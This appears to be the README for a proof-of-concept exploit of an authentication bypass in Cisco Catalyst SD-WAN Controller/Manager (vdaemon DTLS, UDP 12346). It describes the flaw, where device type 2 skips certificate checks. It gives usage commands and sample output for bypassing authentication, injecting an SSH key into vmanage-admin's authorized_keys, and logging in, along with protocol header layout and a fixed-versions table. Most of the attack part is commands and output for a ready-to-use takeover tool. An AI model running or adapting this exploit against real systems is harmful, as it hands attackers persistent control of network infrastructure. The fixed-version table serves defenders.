
CVE-2026-20182 PoC - Cisco Catalyst SD-WAN Controller / Manager Authentication Bypass (CVSS 10.0)
A proof-of-concept exploit for CVE-2026-20182, a critical (CVSS 10.0) authentication bypass in the vdaemon DTLS service (UDP/12346) on Cisco Catalyst SD-WAN Controller (vSmart) and Manager (vManage).
Disclosed: May 14, 2026 by Rapid7 (Stephen Fewer & Jonah Burgess)
CISA KEV: Added May 14, 2026 (Emergency Directive 26-03)
CVSS: 10.0 — CWE-287: Improper Authentication
The vdaemon service uses a multi-phase DTLS handshake to authenticate control-plane peers. The vbond_proc_challenge_ack() function implements device-type-specific certificate verification — but device type 2 (vHub) has no verification code path. Sending a CHALLENGE_ACK with device_type=2 causes the function to fall through every conditional and unconditionally set peer->authenticated = 1.
No valid credentials, no CA-signed certificate, and no knowledge of the SD-WAN deployment are required.
/home/vmanage-admin/.ssh/authorized_keys via MSG_VMANAGE_TO_PEER (msg_type=14)vmanage-adminpython3 cve-2026-20182.py -t <target> [options]
| Argument | Description |
|---|---|
-t, --target | Target IP or hostname |
--port | vdaemon UDP port (default: 12346) |
--key-file | Path to an existing SSH public key to inject (optional) |
--netconf | Verify exploitation by connecting to NETCONF via SSH |
# Generate a fresh key pair and exploit
python3 cve-2026-20182.py -t 192.168.1.100
# Use an existing public key
python3 cve-2026-20182.py -t 192.168.1.100 --key-file ~/.ssh/id_rsa.pub
# Exploit and verify via NETCONF
python3 cve-2026-20182.py -t 192.168.1.100 --netconf
[*] Targeting 192.168.1.100:12346 (vdaemon DTLS)
[+] DTLS handshake complete (received msg_type=8, 1027 bytes)
[*] Sending CHALLENGE_ACK with device_type=2 (vHub) ...
[+] peer->authenticated = 1 (authentication bypassed!)
[*] Sending HELLO ...
[+] Peer is UP state (peering handshake bypass successful)
[*] Injecting SSH public key ...
[+] NETCONF: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa -p 830 [email protected]
[+] SSH: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa [email protected]
| Release | Fixed Version |
|---|---|
| < 20.9 | Migrate to supported release |
| 20.9 | 20.9.9.1 |
| 20.10 | 20.12.7.1 |
| 20.11 | 20.12.7.1 |
| 20.12 | 20.12.5.4 / 20.12.6.2 / 20.12.7.1 |
| 20.13 | 20.15.5.2 |
| 20.14 | 20.15.5.2 |
| 20.15 | 20.15.4.4 / 20.15.5.2 |
| 20.16 | 20.18.2.2 |
| 20.18 | 20.18.2.2 |
| 26.1.1 | 26.1.1.1 |
cisco_sdwan_vhub_auth_bypass — Auxiliary module in Metasploit frameworkThe vdaemon protocol header is 12 bytes:
| Offset | Size | Field | Notes |
|---|---|---|---|
| 0 | 1 | msg_type | Low nibble = type, high nibble = version |
| 1 | 1 | device_info | High nibble = device_type, low nibble = flags |
| 2 | 1 | flags | Standard value 0xA0 |
| 3 | 1 | padding | Always 0x00 |
| 4-7 | 4 | domain_id | Big-endian uint32 |
| 8-11 | 4 | site_id | Big-endian uint32 |
Device types: 1=vEdge, 2=vHub, 3=vSmart, 4=vBond, 5=vManage
openssl CLI (for DTLS transport)cryptography library (pip install cryptography)This exploit is intended solely for authorized red team operations, penetration testing, and security research on systems where you have explicit written permission. Unauthorized use is illegal.